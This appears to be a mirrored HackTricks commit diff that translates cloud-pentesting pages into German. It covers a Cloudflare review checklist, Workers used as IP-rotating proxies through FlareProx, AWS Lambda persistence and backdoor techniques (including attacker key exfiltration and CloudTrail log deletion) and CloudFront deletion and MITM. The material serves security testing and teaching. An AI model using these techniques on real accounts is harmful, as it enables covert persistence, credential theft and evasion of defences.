gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2025-12-10 23:00:49 -08:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws

Browse Source
This commit is contained in:
Translator
2025-10-23 20:57:10 +00:00
parent edb8e9ed59
commit 2754a0250e
18 changed files with 569 additions and 579 deletions
Download Patch File Download Diff File Expand all files Collapse all files

74
src/pentesting-ci-cd/cloudflare-security/README.md
View File

@@ -2,13 +2,13 @@
{{#include ../../banners/hacktricks-training.md}}
In a Cloudflare account there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
In einem Cloudflare-Account gibt es einige **general settings and services**, die konfiguriert werden können. Auf dieser Seite werden wir die **sicherheitsrelevanten Einstellungen jeder Sektion analysieren:**
<figure><img src="../../images/image (117).png" alt=""><figcaption></figcaption></figure>
## Websites
Review each with:
Prüfe jede mit:
{{#ref}}
cloudflare-domains.md
@@ -16,9 +16,9 @@ cloudflare-domains.md
### Domain Registration
- [ ] In **`Transfer Domains`** check that it's not possible to transfer any domain.
- [ ] In **`Transfer Domains`** prüfen, dass es nicht möglich ist, eine Domain zu transferieren.
Review each with:
Prüfe jede mit:
{{#ref}}
cloudflare-domains.md
@@ -26,35 +26,35 @@ cloudflare-domains.md
## Analytics
_I couldn't find anything to check for a config security review._
_Ich konnte nichts finden, das man für ein Security-Review der Konfiguration überprüfen könnte._
## Pages
On each Cloudflare's page:
Bei jeder Cloudflare Page:
- [ ] Check for **sensitive information** in the **`Build log`**.
- [ ] Check for **sensitive information** in the **Github repository** assigned to the pages.
- [ ] Check for potential github repo compromise via **workflow command injection** or `pull_request_target` compromise. More info in the [**Github Security page**](../github-security/index.html).
- [ ] Check for **vulnerable functions** in the `/fuctions` directory (if any), check the **redirects** in the `_redirects` file (if any) and **misconfigured headers** in the `_headers` file (if any).
- [ ] Check for **vulnerabilities** in the **web page** via **blackbox** or **whitebox** if you can **access the code**
- [ ] In the details of each page `/<page_id>/pages/view/blocklist/settings/functions`. Check for **sensitive information** in the **`Environment variables`**.
- [ ] In the details page check also the **build command** and **root directory** for **potential injections** to compromise the page.
- [ ] Prüfe auf **sensitive information** im **`Build log`**.
- [ ] Prüfe auf **sensitive information** im der der Pages zugeordneten **Github repository**.
- [ ] Prüfe auf mögliche Kompromittierung des github repo via **workflow command injection** oder `pull_request_target`-Kompromittierung. Mehr Infos auf der [**Github Security page**](../github-security/index.html).
- [ ] Prüfe auf potenzielle vulnerable functions im `/fuctions`-Verzeichnis (falls vorhanden), prüfe die **redirects** in der `_redirects`-Datei (falls vorhanden) und **misconfigured headers** in der `_headers`-Datei (falls vorhanden).
- [ ] Prüfe die **web page** auf **Vulnerabilities** per **blackbox** oder **whitebox**, falls du auf den Code zugreifen kannst.
- [ ] In den Details jeder Page `/<page_id>/pages/view/blocklist/settings/functions`. Prüfe auf **sensitive information** in den **`Environment variables`**.
- [ ] In der Detailansicht prüfe außerdem den **build command** und das **root directory** auf **potenzielle Injections**, mit denen die Page kompromittiert werden kann.
## **Workers**
On each Cloudflare's worker check:
Bei jedem Cloudflare Worker prüfen:
- [ ] The triggers: What makes the worker trigger? Can a **user send data** that will be **used** by the worker?
- [ ] In the **`Settings`**, check for **`Variables`** containing **sensitive information**
- [ ] Check the **code of the worker** and search for **vulnerabilities** (specially in places where the user can manage the input)
- Check for SSRFs returning the indicated page that you can control
- Check XSSs executing JS inside a svg image
- It is possible that the worker interacts with other internal services. For example, a worker may interact with a R2 bucket storing information in it obtained from the input. In that case, it would be necessary to check what capabilities does the worker have over the R2 bucket and how could it be abused from the user input.
- [ ] Die Triggers: Was löst den Worker aus? Kann ein **User Daten senden**, die vom Worker **verwendet** werden?
- [ ] In den **`Settings`** prüfen, ob **`Variables`** **sensitive information** enthalten.
- [ ] Prüfe den **Code des Workers** und suche nach **Vulnerabilities** (besonders an Stellen, an denen der User Input kontrolliert).
- Prüfe auf SSRFs, die die angegebene Seite zurückgeben, die du kontrollieren kannst
- Prüfe XSSs, die JS innerhalb eines svg-Bildes ausführen
- Es ist möglich, dass der Worker mit anderen internen Services interagiert. Beispielsweise kann ein Worker mit einem R2 bucket interagieren, in dem Informationen aus dem Input gespeichert werden. In diesem Fall sollte geprüft werden, welche Berechtigungen der Worker auf dem R2 bucket hat und wie diese über den User-Input missbraucht werden könnten.
> [!WARNING]
> Note that by default a **Worker is given a URL** such as `<worker-name>.<account>.workers.dev`. The user can set it to a **subdomain** but you can always access it with that **original URL** if you know it.
> Beachte, dass einem **Worker standardmäßig eine URL** wie `<worker-name>.<account>.workers.dev` zugewiesen wird. Der Nutzer kann sie auf eine **Subdomain** setzen, aber du kannst sie immer über diese **Original-URL** erreichen, wenn du sie kennst.
For a practical abuse of Workers as pass-through proxies (IP rotation, FireProx-style), check:
Für einen praktischen Missbrauch von Workers als pass-through proxies (IP rotation, FireProx-style) siehe:
{{#ref}}
cloudflare-workers-pass-through-proxy-ip-rotation.md
@@ -62,7 +62,7 @@ cloudflare-workers-pass-through-proxy-ip-rotation.md
## R2
On each R2 bucket check:
Bei jedem R2 bucket prüfen:
- [ ] Configure **CORS Policy**.
@@ -76,8 +76,8 @@ TODO
## Security Center
- [ ] If possible, run a **`Security Insights`** **scan** and an **`Infrastructure`** **scan**, as they will **highlight** interesting information **security** wise.
- [ ] Just **check this information** for security misconfigurations and interesting info
- [ ] Falls möglich, führe einen **`Security Insights`** **scan** und einen **`Infrastructure`** **scan** aus, da diese sicherheitsrelevante und interessante Informationen **hervorheben**.
- [ ] Prüfe diese Informationen auf Security-Misconfigurations und interessante Hinweise.
## Turnstile
@@ -92,14 +92,14 @@ cloudflare-zero-trust-network.md
## Bulk Redirects
> [!NOTE]
> Unlike [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) are essentially static — they do **not support any string replacement** operations or regular expressions. However, you can configure URL redirect parameters that affect their URL matching behavior and their runtime behavior.
> Anders als [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), sind [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) im Wesentlichen statisch — sie unterstützen **keine String-Replacement-Operationen** oder Regular Expressions. Du kannst jedoch URL-Redirect-Parameter konfigurieren, die ihr URL-Matching-Verhalten und ihr Laufzeitverhalten beeinflussen.
- [ ] Check that the **expressions** and **requirements** for redirects **make sense**.
- [ ] Check also for **sensitive hidden endpoints** that you contain interesting info.
- [ ] Prüfe, dass die **expressions** und **requirements** für Redirects **sinnvoll** sind.
- [ ] Prüfe auch auf **sensitive hidden endpoints**, die interessante Informationen enthalten könnten.
## Notifications
- [ ] Check the **notifications.** These notifications are recommended for security:
- [ ] Prüfe die **Notifications.** Diese Notifications werden für Security empfohlen:
- `Usage Based Billing`
- `HTTP DDoS Attack Alert`
- `Layer 3/4 DDoS Attack Alert`
@@ -119,19 +119,19 @@ cloudflare-zero-trust-network.md
- `Script Monitor New Script Exceeds Max URL Length Alert`
- `Advanced Security Events Alert`
- `Security Events Alert`
- [ ] Check all the **destinations**, as there could be **sensitive info** (basic http auth) in webhook urls. Make also sure webhook urls use **HTTPS**
- [ ] As extra check, you could try to **impersonate a cloudflare notification** to a third party, maybe you can somehow **inject something dangerous**
- [ ] Prüfe alle **destinations**, da in Webhook-URLs **sensitive info** (basic http auth) vorhanden sein kann. Stelle außerdem sicher, dass Webhook-URLs **HTTPS** verwenden.
- [ ] Als zusätzliche Überprüfung könntest du versuchen, eine **Cloudflare-Notification** gegenüber einer Drittpartei zu **impostern**; vielleicht kannst du so etwas Gefährliches injizieren.
## Manage Account
- [ ] It's possible to see the **last 4 digits of the credit card**, **expiration** time and **billing address** in **`Billing` -> `Payment info`**.
- [ ] It's possible to see the **plan type** used in the account in **`Billing` -> `Subscriptions`**.
- [ ] In **`Members`** it's possible to see all the members of the account and their **role**. Note that if the plan type isn't Enterprise, only 2 roles exist: Administrator and Super Administrator. But if the used **plan is Enterprise**, [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) can be used to follow the least privilege principle.
- Therefore, whenever possible is **recommended** to use the **Enterprise plan**.
- [ ] In Members it's possible to check which **members** has **2FA enabled**. **Every** user should have it enabled.
- [ ] In **`Billing` -> `Payment info`** kann man die **letzten 4 Ziffern der Kreditkarte**, das **Ablaufdatum** und die **Rechnungsadresse** sehen.
- [ ] In **`Billing` -> `Subscriptions`** ist der **Plan-Typ** des Accounts sichtbar.
- [ ] In **`Members`** kann man alle Mitglieder des Accounts und ihre **Rolle** sehen. Beachte, dass, wenn der Plan-Typ nicht Enterprise ist, nur 2 Rollen existieren: Administrator und Super Administrator. Wenn jedoch der verwendete **Plan Enterprise** ist, können [**mehr Rollen**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) verwendet werden, um das Least-Privilege-Prinzip umzusetzen.
- Daher wird, wann immer möglich, **empfohlen**, den **Enterprise-Plan** zu nutzen.
- [ ] In Members lässt sich prüfen, welche **Mitglieder** **2FA aktiviert** haben. **Jeder** Benutzer sollte 2FA aktiviert haben.
> [!NOTE]
> Note that fortunately the role **`Administrator`** doesn't give permissions to manage memberships (**cannot escalate privs or invite** new members)
> Glücklicherweise gibt die Rolle **`Administrator`** keine Berechtigungen zur Verwaltung von Memberships (**kann Privilegien nicht eskalieren oder neue Mitglieder einladen**)
## DDoS Investigation

66
src/pentesting-ci-cd/cloudflare-security/cloudflare-workers-pass-through-proxy-ip-rotation.md
View File

@@ -1,31 +1,31 @@
# Missbrauch von Cloudflare Workers als pass-through proxies (IP-Rotation, FireProx-style)
# Missbrauch von Cloudflare Workers als Pass-through-Proxies (IP-Rotation, FireProx-style)
{{#include ../../banners/hacktricks-training.md}}
Cloudflare Workers können als transparente HTTP pass-through proxies bereitgestellt werden, bei denen die upstream-Ziel-URL vom Client geliefert wird. Requests egressen aus dem Cloudflare-Netzwerk, sodass das Ziel die Cloudflare-IP-Adressen statt der des Clients sieht. Dies spiegelt die bekannte FireProx-Technik auf AWS API Gateway wider, verwendet aber Cloudflare Workers.
Cloudflare Workers können als transparente HTTP-Pass-Through-Proxies eingesetzt werden, bei denen die Upstream-Ziel-URL vom Client bereitgestellt wird. Anfragen gehen aus dem Cloudflare-Netzwerk heraus, sodass das Ziel Cloudflare-IP-Adressen statt der Client-IP sieht. Dies spiegelt die bekannte FireProx-Technik auf AWS API Gateway wider, nutzt aber Cloudflare Workers.
### Hauptfunktionen
### Wesentliche Funktionen
- Unterstützung aller HTTP-Methoden (GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD)
- Das Ziel kann über einen Query-Parameter (?url=...), einen Header (X-Target-URL) oder sogar im Pfad kodiert übergeben werden (z. B. /https://target)
- Header und Body werden durchgereicht, mit Hop-by-Hop/Header-Filtering nach Bedarf
- Antworten werden zurückgeleitet, wobei Statuscode und die meisten Header erhalten bleiben
- Das Ziel kann über einen Query-Parameter (?url=...), einen Header (X-Target-URL) oder sogar kodiert im Pfad (z. B. /https://target) übergeben werden
- Header und Body werden durchgereicht, mit Hop-by-hop/Header-Filterung nach Bedarf
- Antworten werden zurückgegeben, Statuscode und die meisten Header bleiben erhalten
- Optionales Spoofing von X-Forwarded-For (wenn der Worker diesen aus einem vom Nutzer kontrollierten Header setzt)
- Extrem schnelle/einfache Rotation durch Bereitstellung mehrerer Worker-Endpunkte und Verteilung der Requests
- Sehr schnelle/einfache Rotation durch Deployment mehrerer Worker-Endpunkte und Verteilung der Requests
### Wie es funktioniert (Ablauf)
1) Der Client sendet eine HTTP-Anfrage an eine Worker-URL (`<name>.<account>.workers.dev` oder eine benutzerdefinierte Domain-Route).
2) Der Worker extrahiert das Ziel entweder aus einem Query-Parameter (?url=...), dem X-Target-URL-Header oder einem Pfadsegment, falls implementiert.
3) Der Worker leitet die eingehende Methode, Header und den Body an die angegebene upstream-URL weiter (filtert problematische Header).
4) Die Upstream-Antwort wird an den Client durch Cloudflare zurückgestreamt; der Origin sieht die Cloudflare-Egress-IPs.
### Funktionsweise (Ablauf)
1) Client sendet eine HTTP-Anfrage an eine Worker-URL (`<name>.<account>.workers.dev` oder eine Route auf einer Custom-Domain).
2) Der Worker extrahiert das Ziel entweder aus einem Query-Parameter (?url=...), dem X-Target-URL-Header oder einem Pfadsegment, falls implementiert.
3) Der Worker leitet Methode, Header und Body an die angegebene Upstream-URL weiter (filtert problematische Header).
4) Die Upstream-Antwort wird über Cloudflare an den Client gestreamt; die Origin sieht die ausgehenden Cloudflare-IPs.
### Beispielimplementierung des Workers
- Liest die Ziel-URL aus Query-Parameter, Header oder Pfad
- Kopiert eine sichere Teilmenge der Header und leitet die originale Methode/den Body weiter
- Setzt optional X-Forwarded-For mithilfe eines vom Nutzer kontrollierten Headers (X-My-X-Forwarded-For) oder einer zufälligen IP
- Fügt permissive CORS hinzu und behandelt Preflight
### Beispielhafte Worker-Implementierung
- Liest die Ziel-URL aus Query-Param, Header oder Pfad
- Kopiert eine sichere Teilmenge der Header und leitet die ursprüngliche Methode/den Body weiter
- Setzt optional X-Forwarded-For mittels eines vom Nutzer kontrollierten Headers (X-My-X-Forwarded-For) oder einer zufälligen IP
- Fügt großzügige CORS-Header hinzu und behandelt Preflight-Anfragen
<details>
<summary>Beispiel-Worker (JavaScript) für pass-through proxying</summary>
<summary>Beispiel-Worker (JavaScript) als Pass-Through-Proxy</summary>
```javascript
/**
* Minimal Worker pass-through proxy
@@ -133,9 +133,9 @@ function randomIP() { return [1,2,3,4].map(() => Math.floor(Math.random()*255)+1
```
</details>
### Automatisierung der Bereitstellung und Rotation mit FlareProx
### Automatisierung von Deployment und Rotation mit FlareProx
FlareProx ist ein Python-Tool, das die Cloudflare API verwendet, um viele Worker endpoints bereitzustellen und zwischen ihnen zu rotieren. Das bietet eine FireProx-ähnliche IP-Rotation über das Cloudflare-Netzwerk.
FlareProx ist ein Python-Tool, das die Cloudflare API verwendet, um viele Worker-Endpunkte bereitzustellen und zwischen ihnen zu rotieren. Das bietet FireProx-like IP-Rotation über das Cloudflare-Netzwerk.
Einrichtung
1) Erstelle ein Cloudflare API Token mit der Vorlage “Edit Cloudflare Workers” und hole deine Account ID aus dem Dashboard.
@@ -145,7 +145,7 @@ git clone https://github.com/MrTurvey/flareprox
cd flareprox
pip install -r requirements.txt
```
**Erstelle Konfigurationsdatei flareprox.json:**
**Erstelle die Konfigurationsdatei flareprox.json:**
```json
{
"cloudflare": {
@@ -154,7 +154,7 @@ pip install -r requirements.txt
}
}
```
**CLI-Nutzung**
**CLI-Verwendung**
- Erstelle N Worker proxies:
```bash
@@ -209,12 +209,12 @@ Wenn der Worker `X-My-X-Forwarded-For` berücksichtigt, können Sie den upstream
curl -H "X-My-X-Forwarded-For: 203.0.113.10" \
"https://your-worker.account.workers.dev?url=https://httpbin.org/headers"
```
**Programmgesteuerte Verwendung**
**Programmgesteuerte Nutzung**
Verwende die FlareProx-Bibliothek, um Endpunkte zu erstellen/aufzulisten/zu testen und Anfragen aus Python weiterzuleiten.
<details>
<summary>Python-Beispiel: Sende eine POST-Anfrage über einen zufälligen Worker-Endpunkt</summary>
<summary>Python‑Beispiel: Sende eine POST-Anfrage über einen zufälligen Worker-Endpunkt</summary>
```python
#!/usr/bin/env python3
from flareprox import FlareProx, FlareProxError
@@ -267,17 +267,17 @@ print(f"Request error: {e}")
```
</details>
Burp/Scanner Integration
- Richtet Tooling (z. B. Burp Suite) auf die Worker-URL.
- Gebt das echte Upstream-Ziel mit ?url= oder X-Target-URL an.
- HTTP-Semantik (Methoden/Headers/Body) bleibt erhalten, während eure Quell-IP hinter Cloudflare verschleiert wird.
**Burp/Scanner Integration**
- Richte Tools (z. B. Burp Suite) auf die Worker URL.
- Übergib den echten Upstream über ?url= oder X-Target-URL.
- HTTP-Semantik (methods/headers/body) bleibt erhalten, während deine Quell-IP hinter Cloudflare verborgen wird.
Betriebliche Hinweise und Limits
- Der Cloudflare Workers Free-Plan erlaubt ungefähr 100.000 Anfragen/Tag pro Account; nutzt bei Bedarf mehrere Endpunkte, um Traffic zu verteilen.
- Workers laufen im Netzwerk von Cloudflare; viele Targets sehen nur Cloudflare-IPs/ASN, was naive Allow/Deny-Listen oder Geo-Heuristiken umgehen kann.
- Nur verantwortungsvoll und nur mit Genehmigung verwenden. Beachtet die ToS und robots.txt.
**Betriebliche Hinweise und Limits**
- Der Cloudflare Workers Free plan erlaubt ungefähr 100.000 requests/day pro Account; nutze bei Bedarf mehrere Endpunkte, um den Traffic zu verteilen.
- Workers laufen im Netzwerk von Cloudflare; viele Ziele sehen nur Cloudflare IPs/ASN, was naive IP allow/deny lists oder Geo-Heuristiken umgehen kann.
- Verwende es verantwortungsvoll und nur mit Autorisierung. Beachte ToS und robots.txt.
## Referenzen
## References
- [FlareProx (Cloudflare Workers pass-through/rotation)](https://github.com/MrTurvey/flareprox)
- [Cloudflare Workers fetch() API](https://developers.cloudflare.com/workers/runtime-apis/fetch/)
- [Cloudflare Workers pricing and free tier](https://developers.cloudflare.com/workers/platform/pricing/)

66
src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
View File

@@ -1,26 +1,26 @@
# AWS - Lambda Persistenz
# AWS - Lambda Persistence
{{#include ../../../../banners/hacktricks-training.md}}
## Lambda
Für weitere Informationen siehe:
Weitere Informationen:
{{#ref}}
../../aws-services/aws-lambda-enum.md
{{#endref}}
### Lambda Layer Persistenz
### Lambda Layer Persistence
Es ist möglich, **introduce/backdoor a layer to execute arbitrary code** wenn die Lambda auf unauffällige Weise ausgeführt wird:
Es ist möglich, **introduce/backdoor a layer to execute arbitrary code** die beim Aufruf der Lambda heimlich Code ausführt:
{{#ref}}
aws-lambda-layers-persistence.md
{{#endref}}
### Lambda Extension Persistenz
### Lambda Extension Persistence
Durch Missbrauch von Lambda Layers ist es außerdem möglich, Extensions zu missbrauchen und in der Lambda persistent zu bleiben sowie Requests zu stehlen und zu verändern.
Durch Missbrauch von Lambda Layers ist es außerdem möglich, extensions zu missbrauchen und in der Lambda persistent zu bleiben sowie Anfragen zu stehlen und zu verändern.
{{#ref}}
aws-abusing-lambda-extensions.md
@@ -32,38 +32,38 @@ Es ist möglich, externen Accounts Zugriff auf verschiedene Lambda-Aktionen (z.
<figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>
### Versionen, Aliases & Weights
### Versions, Aliases & Weights
Eine Lambda kann **verschiedene Versionen** haben (jede Version mit unterschiedlichem Code).\
Anschließend kannst du **verschiedene aliases mit unterschiedlichen Versionen** der Lambda erstellen und jedem unterschiedliche weights zuweisen.\
Auf diese Weise könnte ein Angreifer eine **backdoored version 1** und eine **version 2 mit nur dem legitimen Code** erstellen und **die version 1 nur in 1% der Requests** ausführen, um unauffällig zu bleiben.
Eine Lambda kann unterschiedliche Versionen haben (mit für jede Version unterschiedlichem Code).\
Anschließend kann man unterschiedliche Aliases mit unterschiedlichen Versionen der Lambda erstellen und jedem verschiedene Gewichte zuweisen.\
Auf diese Weise könnte ein Angreifer eine **backdoored version 1** und eine **version 2 with only the legit code** erstellen und **only execute the version 1 in 1%** der Requests ausführen, um unauffällig zu bleiben.
<figure><img src="../../../../images/image (120).png" alt=""><figcaption></figcaption></figure>
### Version Backdoor + API Gateway
1. Copy the original code of the Lambda
2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST
1. Call the API gateway related to the lambda to execute the code
3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST.
1. This will hide the backdoored code in a previous version
4. Go to the API Gateway and **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario).
5. Select the POST method created and in Actions select **`Deploy API`**
6. Now, when you **call the function via POST your Backdoor** will be invoked
1. Kopiere den Originalcode der Lambda
2. **Create a new version backdooring** den Originalcode (oder nur mit bösartigem Code). Veröffentliche und **deploy that version** zu $LATEST
1. Rufe das API Gateway, das mit der Lambda verbunden ist, auf, um den Code auszuführen
3. **Create a new version with the original code**, Veröffentliche und **deploy that version** zu $LATEST.
1. Dies wird den backdoored Code in einer vorherigen Version verbergen
4. Gehe zum API Gateway und **create a new POST method** (oder wähle eine andere Methode), die die backdoored Version der Lambda ausführt: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
1. Beachte das abschließende :1 der arn **indicating the version of the function** (Version 1 wird in diesem Szenario die backdoored sein).
5. Wähle die erstellte POST-Methode aus und wähle unter Actions **`Deploy API`**
6. Nun, wenn du die Funktion via POST aufrufst, wird dein **Backdoor** ausgeführt
### Cron/Event actuator
Die Tatsache, dass man **Lambda-Funktionen ausführen lassen kann, wenn etwas passiert oder nachdem Zeit vergeht**, macht Lambda zu einer beliebten Methode, um Persistenz zu erlangen und Erkennung zu vermeiden.\
Hier sind einige Ideen, wie du deine **Präsenz in AWS unauffälliger gestalten kannst, indem du Lambdas erstellst**.
Die Tatsache, dass man **lambda functions run when something happen or when some time pass** kann, macht Lambda zu einer beliebten Methode, um Persistenz zu erreichen und Erkennung zu vermeiden.\
Hier einige Ideen, um deine **presence in AWS more stealth by creating lambdas** zu erhöhen:
- Jedes Mal, wenn ein neuer User erstellt wird, generiert die Lambda einen neuen User-Key und sendet ihn an den Angreifer.
- Jedes Mal, wenn eine neue Rolle erstellt wird, erteilt die Lambda kompromittierten Benutzern 'assume role'-Berechtigungen.
- Jedes Mal, wenn neue CloudTrail-Logs erzeugt werden, lösche/verändere sie
- Jedes Mal, wenn ein neuer Benutzer erstellt wird, generiert Lambda einen neuen Benutzerkey und sendet ihn an den Angreifer.
- Jedes Mal, wenn eine neue Rolle erstellt wird, gewährt Lambda kompromittierten Benutzern assume role-Berechtigungen.
- Jedes Mal, wenn neue cloudtrail logs erzeugt werden, lösche/ändere sie
### RCE abusing AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers
Missbrauche die Environment-Variable `AWS_LAMBDA_EXEC_WRAPPER`, um ein vom Angreifer kontrolliertes Wrapper-Skript auszuführen, bevor der runtime/handler startet. Liefere den Wrapper über einen Lambda Layer unter `/opt/bin/htwrap`, setze `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap` und rufe dann die Funktion auf. Der Wrapper läuft im Prozess des Function-Runtimes, erbt die Function Execution Role und führt schließlich per `exec` den echten Runtime aus, sodass der ursprüngliche Handler weiterhin normal ausgeführt wird.
Missbrauche die Umgebungsvariable `AWS_LAMBDA_EXEC_WRAPPER`, um ein vom Angreifer kontrolliertes Wrapper-Skript auszuführen, bevor runtime/handler startet. Liefere den Wrapper über eine Lambda Layer unter `/opt/bin/htwrap`, setze `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap` und rufe dann die Funktion auf. Der Wrapper läuft im Prozess des Function-Runtimes, erbt die Function Execution Rolle und macht schließlich ein `exec` des echten Runtimes, sodass der originale Handler normal ausgeführt wird.
{{#ref}}
aws-lambda-exec-wrapper-persistence.md
@@ -71,7 +71,7 @@ aws-lambda-exec-wrapper-persistence.md
### AWS - Lambda Function URL Public Exposure
Missbrauche Lambda asynchronous destinations zusammen mit der Recursion-Konfiguration, um eine Funktion kontinuierlich sich selbst erneut aufrufen zu lassen, ohne externen Scheduler (kein EventBridge, cron, etc.). Standardmäßig beendet Lambda rekursive Schleifen, aber das Setzen der Recursion-Konfiguration auf Allow ermöglicht sie wieder. Destinations liefern serverseitig für asynchrone Aufrufe, sodass ein einzelner Seed-Invoke einen unauffälligen, code-freien Heartbeat-/Backdoor-Kanal erzeugt. Optional mit reserved concurrency drosseln, um Lärm gering zu halten.
Missbrauche Lambda asynchronous destinations zusammen mit der Recursion-Konfiguration, um eine Funktion kontinuierlich selbst erneut aufzurufen, ohne externen Scheduler (kein EventBridge, cron, etc.). Standardmäßig beendet Lambda rekursive Schleifen, aber durch Setzen der Recursion-Konfiguration auf Allow werden diese wieder aktiviert. Destinations liefern auf Service-Seite für async invokes, daher erzeugt ein einzelner Seed invoke einen unauffälligen, codefreien Heartbeat/Backdoor-Kanal. Optional kannst du mit reserved concurrency drosseln, um das Rauschen gering zu halten.
{{#ref}}
aws-lambda-async-self-loop-persistence.md
@@ -79,9 +79,9 @@ aws-lambda-async-self-loop-persistence.md
### AWS - Lambda Alias-Scoped Resource Policy Backdoor
Erstelle eine versteckte Lambda-Version mit Angreifer-Logik und scope eine resource-based policy auf diese spezifische Version (oder Alias) mittels des Parameters `--qualifier` in `lambda add-permission`. Gewähre einem Angreifer-Principal nur `lambda:InvokeFunction` auf `arn:aws:lambda:REGION:ACCT:function:FN:VERSION`. Normale Aufrufe über den Funktionsnamen oder primären Alias bleiben unberührt, während der Angreifer die backdoored Version-ARN direkt aufrufen kann.
Erstelle eine versteckte Lambda-Version mit Angreifer-Logic und scope eine resource-based policy auf diese spezifische Version (oder Alias) mit dem Parameter `--qualifier` in `lambda add-permission`. Gewähre nur `lambda:InvokeFunction` auf `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` an ein Angreifer-Principal. Normale Aufrufe über den Funktionsnamen oder den primären Alias bleiben unbeeinträchtigt, während der Angreifer die backdoored Version-ARN direkt aufrufen kann.
Das ist unauffälliger als das Exponieren einer Function URL und ändert nicht den primären Traffic-Alias.
Das ist unauffälliger als das Offenlegen einer Function URL und ändert nicht den primären Traffic-Alias.
{{#ref}}
aws-lambda-alias-version-policy-backdoor.md
@@ -89,9 +89,9 @@ aws-lambda-alias-version-policy-backdoor.md
### Freezing AWS Lambda Runtimes
Ein Angreifer, der über die Berechtigungen lambda:InvokeFunction, logs:FilterLogEvents, lambda:PutRuntimeManagementConfig und lambda:GetRuntimeManagementConfig verfügt, kann die Runtime-Management-Konfiguration einer Funktion ändern. Dieser Angriff ist besonders effektiv, wenn das Ziel darin besteht, eine Lambda-Funktion auf einer verwundbaren Runtime-Version zu halten oder die Kompatibilität mit bösartigen Layern zu bewahren, die mit neueren Runtimes inkompatibel sein könnten.
Ein Angreifer, der über die Berechtigungen lambda:InvokeFunction, logs:FilterLogEvents, lambda:PutRuntimeManagementConfig und lambda:GetRuntimeManagementConfig verfügt, kann die Runtime-Management-Konfiguration einer Funktion ändern. Dieser Angriff ist besonders effektiv, wenn das Ziel darin besteht, eine Lambda-Funktion auf einer verwundbaren Runtime-Version zu belassen oder die Kompatibilität mit bösartigen Layers zu erhalten, die mit neueren Runtimes inkompatibel sein könnten.
Der Angreifer verändert die Runtime-Management-Konfiguration, um die Runtime-Version festzuspinnen:
Der Angreifer ändert die runtime management configuration, um die Runtime-Version zu fixieren:
```bash
# Invoke the function to generate runtime logs
aws lambda invoke \
@@ -107,13 +107,13 @@ aws lambda put-runtime-management-config \
--update-runtime-on FunctionUpdate \
--region us-east-1
```
Überprüfen Sie die angewandte Konfiguration:
Überprüfen Sie die angewendete Konfiguration:
```bash
aws lambda get-runtime-management-config \
--function-name $TARGET_FN \
--region us-east-1
```
Optional: Eine bestimmte Runtime-Version festlegen
Optional: Auf eine bestimmte Runtime-Version festlegen
```bash
# Extract Runtime Version ARN from INIT_START logs
RUNTIME_ARN=$(aws logs filter-log-events \
@@ -122,7 +122,7 @@ RUNTIME_ARN=$(aws logs filter-log-events \
--query 'events[0].message' \
--output text | grep -o 'Runtime Version ARN: [^,]*' | cut -d' ' -f4)
```
Auf eine bestimmte Runtime-Version festlegen:
An eine bestimmte Runtime-Version binden:
```bash
aws lambda put-runtime-management-config \
--function-name $TARGET_FN \

18
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md
View File

@@ -11,9 +11,9 @@ Für weitere Informationen siehe:
{{#endref}}
### `cloudfront:Delete*`
Ein Angreifer, dem cloudfront:Delete* gewährt wurde, kann distributions, policies und andere kritische CDN-Konfigurationsobjekte löschen — zum Beispiel distributions, cache/origin policies, key groups, origin access identities, functions/configs und verwandte Ressourcen. Dies kann zu Dienstunterbrechungen, Datenverlust sowie zum Entfernen von Konfigurations- oder forensischen Artefakten führen.
Ein attacker, dem cloudfront:Delete* gewährt wurde, kann distributions, policies und andere kritische CDN-Konfigurationsobjekte löschen — zum Beispiel distributions, cache/origin policies, key groups, origin access identities, functions/configs und zugehörige Ressourcen. Dies kann zu Dienstunterbrechungen, Datenverlust und zur Entfernung von Konfigurations- oder forensischen Artefakten führen.
Um eine distribution zu löschen, könnte ein Angreifer Folgendes verwenden:
Um eine distribution zu löschen, könnte ein attacker Folgendes verwenden:
```bash
aws cloudfront delete-distribution \
--id <DISTRIBUTION_ID> \
@@ -21,20 +21,20 @@ aws cloudfront delete-distribution \
```
### Man-in-the-Middle
This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) schlägt ein paar verschiedene Szenarien vor, in denen eine **Lambda** hinzugefügt (oder geändert, falls sie bereits verwendet wird) in eine **Kommunikation durch CloudFront** eingebunden werden könnte, mit dem Ziel, Benutzerinformationen zu **stehlen** (wie das Session-**cookie**) und die **response** zu **modifizieren** (Injektion eines bösartigen JS-Skripts).
